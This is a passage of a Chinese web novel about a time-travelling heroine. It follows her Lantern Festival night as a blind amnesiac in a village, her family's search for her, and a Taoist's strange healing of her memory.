因为女子失忆,已然记不起自己的名字来,又总听老妇人提起若曦来,便自己提议让大家都称呼她作‘若曦’,直至她想起自己的过去和名字来为止。

“去吧,只是不要太贪玩,那姑娘身上还有伤,早些回来,不要着凉了。”老妇人答应道。

“哎,欢儿知道了,谢谢老夫人。”岂料欢儿话音未落,便已不见了身影。

老妇人望着其消失的背影,摇了摇头一脸无奈,嘴角不禁浮出一抹今日里难得的好看弧度来。

此时,女子正一袭粉嫩衣裙,一头乌黑油亮的长发高高地简单束着挽起。静静地站在院子里的海棠树下,摸索着捧起一枝海棠优雅地靠近鼻翼边闻了闻。

恰时,一阵微风拂过,满院的香气四溢,海棠花瓣随风轻轻地被吹落了她一身,美人如花亦如画,不外如是。

然此时,女子却不禁立于花下,满腹惆怅地叹息道“海棠花下谁人家?……我到底是谁呢?”

就在这时,欢儿轻轻地踮起脚尖走到了她身后,一脸兴奋地从后面在她的肩上忽的轻拍了一把,道“若曦,走,欢儿带你到街上看灯去。”

“看灯?”女子寻着发出声音的方向,脚下微微侧了一下,便刚好朝向了欢儿,疑惑道。

“嗯,今儿是元宵节,你不知道么?”欢儿一边扶起女子的胳膊,一边俏皮地歪着脑袋反问她道。

看到女子一脸无动于衷的样子,欢儿这才发觉自己一时欣喜竟失了言,忙低起头来歉然道“哦,我忘了,你什么都不记得了。不过,你也不要太担心了,或许等你头上的伤都好了,日子长了,总归会都慢慢回忆起来了。”

女子闻之抿起嘴来微微笑了笑“元宵节,我知道的。”

“你还记得元宵节?”欢儿猛地抬头来,一脸惊愕地望向了女子的脸。然看着她此时那双温柔似水的眼睛,一张透过纯白的轻纱面巾的面容,显得是那样的唯美好看,欢儿不禁都看的似是都有些入迷了。

蓦然回过神来,欢儿趁其不备一伸出手,便猛地牵了女子的手朝门外奔去,嘴里欢快地道“既然如此,那我们就快点走吧。”

而这一日,还有更多的人因了这女子而到处奔波忙碌着。

此时,衣上云的丫鬟燕儿与其同父异母的弟弟衣上俊正坐在回城西的马车里。

俩人千里迢迢,好不容易终于来到了城南万娇阁,又废寝忘食地一到这里,便在其四周到处跟路人及周边的商家,比划着衣上云的样子。

岂料在大街上寻了一整天,竟没有寻到半点儿消息。

如今,万娇阁已然被官府查封,里面的人跑的跑,死的死,被抓的被抓……

路人也根本就没有一个见过他们所要寻的人。

“小姐一定出事了,她一定是出事了啦!”这时,燕儿无助极了,她一把鼻涕一把泪地道……

第二百二十七章:她,真的还是她吗?

“小姐一定出事了,她一定是出事了啦!”此时的燕儿无助极了,一把鼻涕一把泪地道。

这喋喋不休,令人心生烦躁的阵阵呜咽哭声,却似是并未影响到与她同乘一辆马车的衣上俊的沉思。

如今,他早已不是以前那个整日就只知道在府里与嫡出的衣上云势不两立的心胸狭窄之浪荡少年。他对自己的未来,充满了无尽的希冀与信心。

‘驰骋沙场、保家卫国、建功立业、鲜衣怒马、烈焰繁花’这才是一个顶天立地的好男儿的精彩一生。而这一切,却都是因为衣上云,他方才有机会能将之得以实现。

所以,对于衣上云,他的心里早已不知不觉中悄悄滋生起一丝谢意与敬重。或许,这种感觉甚至出现地更早。

那应该最早,自从衣上云昏迷一年后忽然醒来的那个夜里便已经存在了吧。那夜,衣上云一袭夜行衣装扮出现在衣府后院,被他们母子三人正巧撞见,衣上雪气不过,故意借此想要欺负教训她,岂料她竟平生第一次紧紧地捉住衣上雪的手腕反抗,不甘示弱地对他母子三人毫无所惧地扬声说出那句‘想要衣家嫡长女的身份,除非我死,有本事就来取了我的性命,你便是衣家嫡女了。如若没有那本事,最好安分点。’

后来,在全家人都束手无策的时候,她却仅凭自己一己之力,进宫查明了太后昏迷的真相,救出了父亲;也因此而被受牵连,被迫入宫为奴为婢,却从无半点怨言;甚至,他又听自己的那些狐朋狗友议论说,在宫里,她更是屡建奇功,治愈了太子的天花,深得公主的信任,还忠心护主,因亲自在皇上面前谏言反对公主和亲北烈皇子之事,而被雪中罚跪……

此时,他想着清醒后的衣上云的种种坚毅、独立与勇敢,不禁深叹了口气,嘴角微微上扬,露出一抹好看的弧度来。

忽然,似是心底又浮起了一丝疑惑,便想要问问整日服侍在衣上云身旁的燕儿,或许她更清楚一些。

岂料猛一抬眼,这才看到燕儿竟不知何时已眼角含着泪水歪靠在马车的一边睡了过去,应该是这两日以来,昼夜赶路,又废寝忘食地寻人,她是真的太累,也哭累了吧。

就在他正内蹑手蹑脚地拿起一旁的一件水绿色披风,欲帮其御寒披上时,燕儿却忽然醒了过来,伸手一把紧紧地捉住他的一只手,瞪大了眼睛朝其激动地一边哭,一边乞求道“少爷,少爷,小姐一定出事了,她一定是出事了。燕儿求少爷救救小姐,快救救小姐啊。”

衣上俊见此,忙反手抱住燕儿的手摇晃着,朝其道“燕儿你冷静一点,听我说。我们已经在万娇阁附近寻了一整天了,都毫无音讯不是吗?‘雁过留痕,风过留声’,或许大姐,她根本就没有来过万娇阁呢?亦或者是,我们和她擦肩而过,她已经平安回府了也说不定呢…对了,不是说这万娇阁是秦王殿下亲自下令封的嘛,大姐与殿下向来熟

识,或者,殿下回去的时候也顺便将大姐一同带回去了呢…所以,眼下我们还是赶紧回府才是啊。”

闻此,燕儿果然慢慢敛了声下来,默默地抽回自己的手,坐直了身子,又用手背抹了把脸颊的泪水,定了定神说“对啊,燕儿怎么忘了呢,秦王殿下待小姐是极好的,在宫里就多次维护帮助小姐脱险。如果秦王殿下到过万娇阁,就一定会照顾小姐的。兴许…兴许小姐真的已经同殿下一道回府了。”

一念至此,燕儿忙再次转身朝向衣上俊拽住其胳膊请求道“少爷,我们这就即刻快马加鞭回去。今夜是一年一度的元宵佳节,我们务必一定要赶回府里去,燕儿真的好想念小姐啊。”

“嗯。”衣上俊朝其重重地点了点头,说着便命人在这片如墨般漆黑的夜里扬鞭驰骋了起来。

“嘭”一声。

忽然,从东南角远处炸开了一朵绚丽的烟花来,随之则是接二连三,起伏不断的一整片烟花相继燃起又幻灭,幻灭又燃起,将整片宁静的夜空瞬间点亮。燕儿的心中因为听到了‘秦王’二字,已然得到释怀。这会儿忙掀起帘子来,一脸欣喜地凝视着夜空中五颜六色的繁花朵朵。

“燕儿,你整日服侍在大姐身边,有没有觉得大姐昏迷了一年后和以前不一样了?”端坐在马车里,双手附在膝上,闭目养神的衣上俊忽然发出声音道。

燕儿缓缓卸下脸上的吟吟笑意,转过头来看着衣上俊的侧脸,重复着纳闷道“小姐和一年前不一样了?”

衣上俊依然双目紧闭,回忆着静静道“以前的大姐,性格懦弱、废材、因为脸上的胎记更是自卑不堪,向来都是‘大门不出二门不迈’,估计出了衣府大门,甚至就连东南西北尚都分不清楚。对于雪儿整日里犹如是家常便饭一般的责难,更是‘打不还手,骂不还口’。更别说胆敢在我母亲和父亲面前抬头说一句话了,怕是他们的一个眼神,她都是不敢直视的。可如今却怎么……”

衣上俊说着,燕儿亦缓缓垂首着,随之陷入了一片复杂的沉思之中。

半晌后,衣上俊舒了口气,终于睁开眼睛,看向燕儿复杂的表情,道“大姐醒的那夜,都发生了些什么,你是最清楚不过的。大姐她……真的还是她吗?”

不知为什么,燕儿听到了这句,忽然惊地猛抬起头来,盯视着衣上俊满是质疑的眼神,许久,竟怔着一动都不敢动。

衣上俊此时所怀疑的,燕儿不是没有怀疑过。

当她的小主人再次清醒过来的时候,完全颠覆了之前她所有对其的映像。但不可否认的是,这个小主人,除了面相以外,还真是再没有一样是和之前相同的。

但让她更不可否认的是,她更喜欢如今的小主人,她是那样的坚韧、善良、有个性。对,就是有个性,如今的小主人,敢爱敢恨,更加豁达,有担当,再也不畏首畏尾,怨天尤人。

可此时经衣上俊这一盘问,却让燕儿忽然想起衣上云曾经难得激动地对自己所说过的一句话来,“小姐曾说,曾说……”

“说什么?”衣上俊见燕儿吞吞吐吐,像是真的知道些什么,便着急地催问道。

燕儿抿了抿嘴,又吞了一口口水,露出一脸难色,左顾右盼,岂料似是始终都难以避开衣上俊此时势要打破砂锅问到底的决心,便皱着眉头认真道“少爷,你保证,这句话,你绝对不会告诉任何人,燕儿才敢说。”

衣上俊叹了口气,默看了燕儿的眼睛一会儿,道“事到如今,莫非你还不信我?以前浑浑噩噩地胡乱度日,是我的错。可这次若没有大姐,便不会有我衣上俊今日的觉醒,我发誓,这辈子,都不会做对大姐不利的事。”

闻此,燕儿方才似是有些安心了下来,咬了咬牙便回忆着缓缓道“小姐曾说,‘其实…我不是你家小姐,早晚我都会离开这里的。’”

“大姐她,她真的这样说?”闻此,衣上俊皱眉着急地问。

燕儿怯怯地朝其点了点头。

衣上俊低头闭眼默想了一会儿,忽似心中又想起了什么,睁眼愣了一下,又问燕儿“你有没有听过街上的人议论的一件事情?”

燕儿放眼过去,朝其迷惑地问“街上人?他们议论什么?”

衣上俊抬头,表情极其严肃地看着她说“有很多人在议论,说大姐醒来的那天夜里,有人看到府中后院的空中,从天而降一道灼眼的光芒,这光芒宛若一只七彩凤凰虚影,它最后落入了大姐的阁楼上。”

“七彩凤凰虚影?小姐的阁楼?……不可能。”燕儿一脸不可思议地摇着头坚决否认道。

她虽是真的没有见到,亦没有听过,只是听着此时耳边这貌似玄之又玄的诡异之象,便已情不自禁地缓缓环抱起自己的双臂来,感到一股冷飕飕的凉风袭入了她瘦小的骨髓之中,她怎么都不相信她的小主人是受到了什么异物的迷惑。

自此许久,俩人都伸手掀开车窗帘来眼睛悠长地望向了车外寂静的夜空,各自若有所思地沉默着不再做声。

岂料当马车行至一条小河道的拐角时,忽然来了个紧急刹车,衣上俊反应迅速,忙紧紧抓住了车内横栏,而燕儿则未来得及抓住任何东西,直接撞上了车厢,顿时现出一脸痛楚难当。

见此,衣上俊立刻朝着前面驾车的小厮怒吼道“怎么回事?”

“少爷,有俩位姑娘摸黑突然出现,拦住了去路。”驾车的小厮忙道。

“是谁这么大胆,竟敢阻拦本少爷的车子。”说着,他便一把撩起车门帘来一跃而下。

借着手里驾车小厮递过来的一盏微弱的灯火光照,俩个女子忙上前来朝衣上俊躬身行礼致歉“公子,真是对不起,我们姐妹俩在此附近寻人,误了时辰。请问可否捎带我们到前面的集市上呢?”

第二百二十八章:生死相随的誓言

“少爷,有俩位姑娘摸黑突然出现在前方,拦住了去路。”驾车的小厮似是仍旧尚还惊魂未定地忙答话道。

“是谁这么大胆,竟敢阻拦本少爷的车子。”衣上俊一听,却当即一把撩起车门帘来,纵身一跃而下,直朝着黑夜里挡住马车去路的两名女子厉声喝道。

借着驾车小厮递过手里来的一盏微弱的灯火光照,俩个女子这才忙上前来朝衣上俊躬身行礼致歉“公子,真是对不起,我们姐妹俩在此附近寻人,不想误了返程的时辰。请问公子可否捎带我们到前面的集市上呢?”

“你们……你们这俩个胆大包天的女子,更深露重地在这荒郊野外里,鬼鬼祟祟地做什么,难道就不怕遇到坏人吗?”这事若是放在以前,衣上俊绝对不会如此好的耐心,定是不加思量,直截了当地厉声将其轰走,然此时话刚到了嘴边,不知为何心里却突然莫名地浮起了衣上云的影子,便立刻改口温和了起来道。

“公子真的误会了,我们姐妹二人真的是在沿河寻找一个落入水中失踪了的朋友,本来一起还有许多其他人同行,只是后来都分头寻找的时候,我二人没有按时到此来聚头,所以便走散了。我们真的不是坏人,就请公子行行好。我们已经一整天都滴水未进了,走到这里,已经实在是走不动了,这才斗胆拦了公子的马车,还请公子恕罪。”

一个本地口音的黄衣女子搀扶着另一虽然虚弱地已不能说话,但看起来依旧颇有气质的青衣女子诚恳地道。

衣上俊正在思量,马车里的燕儿闻声急急掀开车帘,探出脑袋来一看,见是俩个柔弱女子,便立马开口替其求情道“少爷,佛家有云‘救人一命,胜造七级浮屠’,又云‘前世五百次的回眸,才换来今生的擦肩而过’。今儿咱们既然有缘与二位姑娘相遇,若是视若无睹,见死不救,将她二人留在这荒郊野外里,该是有多危险啊。捎她们一段儿到前面的集市上,对于我们而言,只不过是举手之劳,少爷又何必迟疑呢?再说了,少爷如今已然武艺非凡,今夜又正值元宵佳节,如此‘良辰美景’之下,‘英雄救美’少爷又何乐而不为呢?”

不知不觉间,燕儿竟不知何时已悄悄下了马车来,静静地站在衣上俊的身旁,眼睛直勾勾地盯视着他此刻脸上极为复杂的表情变化,由一脸怒色渐渐转为不知所措,亦或者是在其脸上极为难得一见的某种羞涩。

燕儿挑着眉故意用自己的胳膊肘朝着他的臂上碰了碰,继而又对其使了个坏坏的眼色,衣上俊便立马现出一脸不耐其烦地摆了摆手,直嚷嚷道“好吧,好吧,都上车吧。”

“谢谢公子,谢谢公子……”黄衣女子闻声,随即一脸欣喜。一边连连朝其道谢,一边在燕儿的帮助下,将虚弱极了的青衣女子扶上了马车安顿好。

衣上俊则与驾车的小厮一同坐在了马车前面,几人继续扬鞭驾起车来,缓缓消失在一片夜雾之中,朝着前方的一片灯火通明之处驶了去。

然不知为何,衣上俊的心里却忽然

扑通扑通地一直跳个不停起来。

不止如此,这一路沿途之中,他还不止一次地总忍不住回过头去,透过车门帘来细细地打量车内的黄衣女子的一举一动。

而却在那黄衣女子不经意间亦透过了同样的视线,将目光落在他的脸上,朝其嫣然一笑时,衣上俊却忽然感觉自己像是要窒息了一般,一阵从未有过的酥麻感油然而生,忙回过头去。

岂料这一切,都被静默在一旁的燕儿怔怔地看在了眼里,她顿时朝其露出了一脸极具诡异的笑来。

当衣上俊一撞上燕儿特意扮给他的一个鬼脸时,便赶忙缩了回去端坐好,脸上却浮起了一抹甚是好看的绯红羞涩来。

这时,燕儿方才转眼瞟了一眼那已沉沉昏睡过去的青衣女子,继而又笑着开口问那黄衣女子道“不知俩位姑娘的名字是……”

黄衣女子忙开口回道“哦,我叫兰香,家就住在前方的那个集市上。这位是我的结拜姐姐,唤作玉娘。”

燕儿瞬时笑着嘴里喃喃重复道“‘兰香’‘玉娘’,名字可真好听…对了,方才听姑娘说,你们也是在寻人,对吗?”

闻此,兰香叹了口气,继而一脸黯然地道“唉,一言难尽啊。怎么?听你的口气,莫非你们也是在寻人吗?听口音,好像你们不像是城南本地人。”

燕儿抿了抿嘴,嘴角虽然挂着一丝笑容,却似是有着许多无奈地说道“实不相瞒,我们是打城西来的。我和我家少爷此行是为了到城南万娇阁里寻回我家小姐。岂料到此以后,万娇阁却是人去楼空,就连门都给封了。”

闻此,兰香显得非常着急地忙开口关切地问“那可有找到你家小姐了?你家小姐又怎么会沦落到这种地方呢?”

燕儿这才忽然发觉她的这一席话,兰香一定是误解了些什么,便忙朝其摆了摆手,连连解释道“不是姑娘想的那样,我家小姐是正经人家的千金小姐,她来这里也是为了寻人的。虽然我和我家少爷没有找到小姐,但估计是小姐她和秦王殿下已经一道回去了,只是我们路上错过了而已。所以这不,这会儿我们正准备着要快马加鞭地连夜赶回到城西去。”

“城西来的?千金小姐?来万娇阁里寻人?秦王殿下?……你家小姐可是叫做衣上云?长的个子高挑且清丽脱俗,脸上整日里蒙着一纯白面纱?”兰香一边回忆,一边细细琢磨,重新组织拼凑着这些信息的片段后,似是心里隐隐有着一丝怀疑,吃惊地问道。

闻此,燕儿和马车外的衣上俊几乎同时一起转头将目光落在了兰香的身上,异口同声地惊道“你见过她?”

“你见过我家小姐?”

兰香顿时被这二人充满希冀的目光,惊得一时间竟不知该如何回答。

见此,燕儿忙伸手附在兰香的臂上将其圈起,一脸期盼的笑着追问“姑娘,您一定见过我家小姐是吗?您也见过秦王殿下对吗?我家小姐一定是已经跟随秦王殿下的人马一起回去了,对不对?”

沉默了

半晌后,兰香似是终于鼓足了勇气,倒吸口气一脸严肃地道“实不相瞒俩位,我们所有人都没日没夜地已经寻了好几日的人,正是你家小姐衣上云。”

“寻找我家小姐…已经好几日了?姑娘这话是什么意思?”燕儿的心里不禁浮起一抹极不好的预感,就连说话的声音亦变得愈来愈低。

就在这时,见到燕儿已然如同失魂落魄了一般地怔愣住,衣上俊一手撩起车门帘来继续问道“家姐在城南究竟发生了什么事?秦王殿下他如今人又身在何处?姑娘有话不妨直说。”

于是,兰香深深地叹了口气,将衣上云到了万娇阁后发生的所有事一五一十地对其细细说了起来……

话音刚落,只见衣上俊的眉头愈皱愈紧,其附在腿上的和另一只攥着车窗帘的拳头亦愈握愈紧。

正待发作,不想燕儿却先忽然炸出了一句“你胡说,我家小姐才不会死呢,她那么善良。我讨厌你。我家小姐对你这么好,你怎么能咒她死?”

嘴上说着似是这个世上最坚强和深信不疑的话,心里防设却早已彻底坍塌的燕儿,伤心地俯身趴在自己的膝上哭了起来“呜呜呜……”

兰香看着她痛苦无助的模样,极不忍心,忙连连打着自己的嘴巴子朝其致歉道“呸呸呸,是我一时失言了。‘好人有好报’‘吉人天相’,相信衣姑娘一定能够逢凶化吉的,她一定还好好活在这世上的某一个角落。”

靠在车厢上,仰头望着那星星点点的夜空默了许久,衣上俊强忍住心头的悲伤,回过神来问“秦王殿下,他真的已经同公主和太子一道回王府了吗?”

兰香眉头蹙起,望着他的背影静静地道“秦王殿下为救云儿身受重伤昏迷不醒,情况十分危急,公主不得已而为之,临行前将大部分人马留在了城南,用来通知并帮忙寻觅碧水湖湖道沿途所流经的所有分支,地毯式搜索寻找云儿的下落。不仅如此,这几日秦王府又源源不断地增加派出了许多精兵来城南,只是…至今都还没有关于云儿的任何消息,我们真的尽力了。”

“不行,此事过于重大,我必须即刻回府将其告知父亲大人。”衣上俊严肃地道。

岂料燕儿猛地坐起身来,信誓旦旦地坚决扬声道“不,燕儿不回去,燕儿要留在这里同大家一起找寻小姐。无论她到底是谁,她都是燕儿唯一的小主人。小主人生,燕儿便生,小主人如若真的已经…无论如何,燕儿都要与小主人生死相随,绝不让她孤孤单单的一个人。”

思索片刻,衣上俊道“也好,那你便留在这里与兰香姑娘她们一起寻找大小姐的下落吧。你从小一直伺候在大姐左右,或许能帮得上忙。我连夜赶路回去与父亲商议一下,幸好能有秦王殿下的力量相助。”

“谢谢少爷!”燕儿连连朝其道谢,一双小手与兰香紧紧地握了起来。

然衣上俊却在一片寂静中,心里默默地祈祷着,希望老天开眼,对那个命运多舛的纯良女子仁慈一点,再仁慈一点……

第二百二十九章:良辰苦短,时光莫负

皓月当空、烟花漫天、锣鼓喧嚣。

各式各样的花灯犹如百花争艳般流光溢彩,高悬于五彩缤纷的街头。而最壮观亦是最引人注目的自是当属于那条蜿蜒于城中江畔的惟妙惟肖的庞然大物火龙灯。

伴随着愈来愈接近这一片热闹的近乎于是沸腾了的万家灯火,又穿过了满街的人群,马车很快便停在了万娇阁附近的一条深巷里,一小门小户的人家门前。

安全送达了三个女子之后,衣上俊推推攘攘地将身上的盘缠几乎是全数都塞给了丫鬟燕儿,语重心长地又叮嘱交待了几句,再对兰香诚心诚意地致了谢,方才独自匆匆踏上了继续返家的路途。

此时,燕儿在兰香的搀扶陪伴下站在门口,吹着依稀还有些凉飕飕的夜风,望着马车离去渐行渐远的背影,口中默默地兀自喃喃叹道“少爷,真的是和从前不一样了。”

兰香扶着燕儿的手,跟随着她的目光亦看着马车的背影,闻声又收回视线看了看燕儿的脸,似是有些好奇地问道“哦?你家少爷和从前不一样了?那他…以前是什么样,如今又是什么样呢?”

燕儿这才收回视线,继而又对着兰香笑了笑,俩人便一边回头跨过门槛去朝屋里走,燕儿一边悠悠道“以前的少爷整日里吊儿郎当、桀骜不驯,又无所事事。可如今的少爷不但知道求上进,变得温润了许多,也颇有责任感,最主要的是,如今他竟然动不动就一口一个大姐地叫起我家小姐来了,如果小姐知道了,那该有多开心啊……小姐。”

岂料一说起她的小主人来,燕儿的眼里顿时又噙满了泪水,借着院子里微弱的灯火照下,那滴滴泪花在那张嫩小的脸庞闪烁着,清晰可见。

“好了,好了,如今衣姑娘的护身符来了,有燕儿的帮忙,相信我们很快便就会有姑娘的消息的。”兰香见了,一边帮其用丝帕擦拭脸庞上的眼泪,一边宽慰劝她道。

岂料燕儿竟开口反驳道“‘护身符’?小姐的护身符怎么可能是我一个小丫头呢?”

“不是你?那还会是谁啊?”兰香好奇地道。

燕儿沉默了片刻,稍作回想,忽然似是也不特别确定地道“小姐的护身符应该是……秦王殿下……亦或是一个叫易三少的人……”

“哦?这听起来怎么像是很有故事的样子。你不妨…说来听听。”兰香打趣地笑道。

俩个女子就这样,一边愉快又融洽地热聊着,一边匆匆进了屋里去。

月光下的小院角落上,几株海棠与红梅一齐在这喧闹的夜里静静地绽放飘香着。

而屋内,俗话说‘家有一老,如有一宝’的兰香的外婆,早已为其准备好了一桌丰盛的元宵节团圆饭,自然少不了那碗象征团团圆圆的热气腾腾的元宵了。

经历了过去的种种磨难,这户人家也算是终于真正地雨过天晴,可谓是‘人圆月圆花更圆’。

透过红烛照耀在窗户上所映出的影子,尽现

出屋内的人们一片其乐融融的美好之象,大家亦都祈愿这摇熠的红烛能早日带来她们所期待的好消息。

而相对于城里的一片喧嚣浮华而言,在桃花店村里,却独有着一番‘繁花似锦觅安宁,淡云流水度此生’的避世惬意滋味。

村子里的花灯样式自是不及城里的,多数都是以兔子灯为主。

因为朴实无华的庄稼人,祖祖辈辈都把兔子视为吉祥之物,以此来迎神接福,人们借此祈求天上众神灵的庇佑,期盼着来年能五谷丰登、人畜兴旺、全家安康。

人们始终坚信,兔子灯走过哪里,就意味着把吉祥和好运带到了哪里。

“据说,今夜凡是走过了村子里所有桥的人,便都能逢凶化吉,消除百病。”出了门以后,失忆又失明了的女子便被欢儿紧紧地牵着手。一路上,滔滔不绝又惟妙惟肖地替其一一讲解着沿途自己的所见所闻,女子亦侧着耳朵仔仔细细地洗耳恭听着。

只是,她心中隐隐觉得欢儿所正在描述的这个风俗,貌似自己好像在哪里听过的‘走三桥’一般?

“火树银花触目红,揭天鼓吹闹春风”。夜幕初降,皎月升起,漫山遍野像是披上了一层银白色的轻纱。灯月交辉,甚是五彩缤纷。

许是因为是乡下空气更为清新的缘故,那盏盏灯儿所发出来的光,似是要更加明亮和耀眼。

相约一起过桥的人群,手里都拎着一盏闪闪烁烁的兔子灯,亦宛若一条气势磅礴长长的游龙一般,尽是一片火红的灯的海洋,令人目不暇接,眼花缭乱,他们将其脚步今夜留在了这片沸腾了的大地上的每一个角角落落。

“谁家见月能闲坐,何处闻灯不看来。”这样的阵势,自是吸引了许许多多人的出门观望。

都说九曲黄河十八弯,但游灯的人们,谁也不知道自己究竟拐了多少个弯。转了多少个圈,只觉是忽左忽右,忽南忽北……

兴趣盎然中,只见灯海锦簇,万头攒动,无论是站在一旁看灯的,还是身处其中游灯的。脸上不约而同地无不都洋溢着无尽的幸福和喜悦,嘴里一遍遍重复齐声高呼“游灯笼,添油哩,三十晚上过年哩……”。

许是因为此时的欢儿,对这难得的热闹场面,心里太过于激动和兴奋了,一不小心没留神,在游灯的队伍经过其身边的时候,手里牵着的稍有些被自己放松了的失明失忆女子,竟被路人无意中撞了一下,那女子便顿时身子打了一个踉跄。

欢儿见了,惊的忙一把及时将其扶稳住。

那撞到了女子的姑娘自知自己惹了祸,便顿足下来一脸慌乱,这才看到被自己所撞的女子两眼呆滞,竟是个盲人。

随即赶快弯腰对其连连致歉道“对不起,对不起,你没事吧?”

欢儿正欲发力教训那姑娘,女子忙一把将其紧紧捉住,笑着对那姑娘道“不碍事,不碍事,是我自己的问题,我的眼睛受了伤,变成这个样子,着实不该出

来打扰了大家的好兴致。”

“来,这个送给你。既然是生病受伤了,那就更该游灯走桥了,包治百病,真的很灵验的哦……你可以让你身边的这位姑娘扶着你,跟在队伍的最后面慢慢走。”那有些俏皮的姑娘凝视着女子的脸片刻,抿了抿嘴,灵光一闪,便将自己手里拎着的两只活灵活现的兔子灯让了一只递到了女子的手中。

女子正欲开口拒绝,那俏皮姑娘便如一只翩翩蝴蝶般冲着欢儿抿嘴一笑,转身飞走了。

欢儿接过女子手里的灯,向着周围望了一眼,关切道“姑娘累了吧,这里有个如梦亭,我们在这儿坐下来歇会儿。”

女子颔首对其笑了笑,便随之将其扶进了一座名曰‘如梦亭’的凉亭里坐定。

这时,如墨般漆黑的夜空里,‘嘭’的一声,忽然被一阵绚烂烟花瞬时点亮,流光溢彩,洒满天际,甚是耀眼。

欢儿忽地起身仰起面来,一脸欣喜和痴迷地对着其啧啧叹道“好美啊!”

如梦亭边,一架设在水流湍急的河岸边的水转筒车,在那巍峨起伏,郁郁葱葱的青山背景下喷珠溅玉着。在浇灌了村里的农田作物的同时,也成了这村子里的一道靓丽风景,与这山、这亭、这一切构成了一幅绝美的田园春色图。

而此时,女子静静地坐在亭中一边上,回想起至今她唯一所记得的,身边这日里所发生的一切,不禁蓦然地口中低吟道“东风夜放花千树,更吹落,星如雨。宝马雕车香满路,凤萧声动,玉壶光转,一夜鱼龙舞。蛾儿雪柳黄金缕,笑语盈盈暗香去。众里寻他千百度,蓦然回首,那人却在,灯火阑珊处。”

“姑娘念的是谁的词?欢儿怎么没听过,听起来甚美…‘东风夜放花千树,更吹落,星如雨……’”

欢儿闻之,睁着一双圆圆的大眼睛转身一脸好奇地看着女子问道,不禁亦嘴里重复了起来。

女子微微抿了抿嘴,一脸温柔似水地朝着欢儿发出声音的方向笑了笑,却道“欢儿,你也去同大家一起游灯走桥祈福吧。我在这里等你,不会有事的。元宵节,一年难得一度。”

欢儿毕竟还是个孩子。闻之,心里自是巴望不得,可心中却终是难免留有一丝隐隐的不放心。

因为沉默,女子似是感觉到了她的担心,坚持劝她道“欢儿放心去吧,我可以的。人生漫漫,无论如何,我总要试着依靠自己。良辰苦短,莫要辜负了今夜这好时光。”

欢儿又想了想,开口说道“那…姑娘就好好呆在这里,哪里都不要去,等着欢儿回来带你回家。”

女子点点头,对其笑着道“嗯,你去吧,我都这样了,还能去哪里呢?”

于是,欢儿一把拎起了地上放着的,方才那位虽冒冒失失但的确甚是俏皮可爱的姑娘所赠的一盏兔儿灯,便急急飞出了如梦亭,朝着游灯走桥的队伍追了去。

“说的好,说的好……”这时,忽然出现了一位……

第二百三十章:如梦亭,大梦经年

东风夜放花千树,更吹落,星如雨。

正月十五元宵夜,是新的一年中的第一个月圆之夜。当朵朵耀眼的烟花绽放在了深邃的苍穹,今夜过后,便意味着过去的一年就此被真正画上了句号。

就在欢儿前脚刚刚兴奋地追逐着游灯走桥的队伍而去,如梦亭的台阶下,忽然出现了一位一袭青色道袍,年近六旬满脸白须的老道儿。

只见他一手举着“算命卜卦”布幡,另一手捋着那嘬短须,面带微笑不住的冲着如梦亭里的女子像是颇为满意的连连点了点头,继而扬声说道“说的好,说的好…好一句‘人生漫漫,无论如何,总要试着依靠自己。’”

亭内女子闻声,先是顿时朝其声音方向一怔,继而惊讶地开口问道“是谁在那里说话?”然心里却隐隐觉得这声音听着似是有些熟悉,仿佛在哪儿听过一般。

这时,青袍老道方才拿出一个铜铃铛来,将其不紧不慢的摇了摇,继而一边缓缓迈步走上了台阶进了如梦亭里,一边嘴里喊了两声:"算命,算命,不准不要钱……”

“原来是位游走四方的道长,小女子方才真是失礼,失礼了。”女子抱歉地说着,便急急胡乱地摸索着欲要起身来向其躬身致歉。

青袍老道见了,忙将其按下,道“小姐身体多有不便,无须多礼。贫道亦只是被这里今夜犹如世外桃源一般的良辰美景所吸引,游走乏了,不知可否与小姐同借此如梦亭稍作歇息呢?”

女子忙笑着道“当然可以,这亭子建在路旁,本就是为了供所有来往行人歇脚的地方,道长尽管自便。”

“既然如此,那贫道就多谢小姐不弃了。”青袍老道亦笑着回应其客气道,紧接着,便将手里的布幡靠在凉亭一边的朱红色柱子上,落座下来。

通过一番近距离细细的端详打量后,青袍道长问道“敢问小姐的芳名为何?可是本地人士?这更深露重的,为何独自一人在此歇脚?”

女子笑了笑,稍作思量后,只开口道“我是同欢儿一起出来逛街的,因为今日正值良辰佳节,我不能因为自己的原因让欢儿的节日亦过的不快活。所以,便让她跟着队伍一起去游灯走桥了。而我…因为眼睛的关系,便只能待在此处等她回来了。至于我的名字和其他,实不相瞒…这位道长,其实我不但失明…而且还失忆了。所以,并不知自己姓谁名谁,家住何方?又发生了什么事?只听救起我的那位老夫人说,我是于几日之前,一个霹雳漫天,大雨滂沱的夜晚,被河水冲落至此的。”

“原来如此,没想到小姐的命运竟如此多劫多难!”青袍老道听了叹息道。然却放眼过去只见女子的脸上依旧挂着平和温柔的一片浅笑,甚美。

那道长凝视着面前这个坚强乐观的女子,半晌后说道“方才贫道在凉亭外听闻小姐所言颇为自强自力,甚是佩服。其实,人生有很多时候都是‘塞翁失马,焉知非福’。小姐为何不试试,不用自己的眼睛去看,而是用自己最纯净的心

去感受这个世界,也许你会看到更多之前从未见过的东西。”

“之前从未见过的东西?”女子闻之,眉头微蹙纳闷地道。

“小姐不妨试一试贫道所说?”青袍道长朝着周围的一片寂静扫了一眼,神秘的说道。

女子稍作思量,依照青袍老道所言,屏气凝神试着慢慢放松了下来,忘却身边所有的喧嚣与存在,直至仿佛进入了一场沉沉的睡梦当中。

就在这时,青袍老道缓缓起身来踱步近身到女子身旁,慢慢地伸出一只手掌来,朝其头部的伤处开始运功,将其真气源源不断地灌输进女子的体内。

而在女子的梦境里,首先浮出了一条人头攒动,车水马龙的宽阔大道来。接着在一套将窗外江湖美景尽收于内的采光极好的挑高复式楼里,出现了一身着紫色桑蚕丝浴袍,身姿曼妙,凝脂红唇,洗尽铅华呈素姿的活色生香白肤女子。不知为何,那女子突然栽倒在了地上。此刻,她就站在距离女子只有几步之遥的边上,想要去将她扶起,却什么都做不了,双手捧起的仅是空空如也。于是,她蹲身在女子面前,又想努力地看清楚她的脸,却是越努力反而越模糊不清。忽然,俩人面前现出了一道刺眼的光芒来,光芒之中又渐渐现出了一道墙,随着这墙越来越清晰,犹如一扇奇特的时空之门被渐渐地打了开来,地上的女子便瞬间晕了过去,光芒消失。

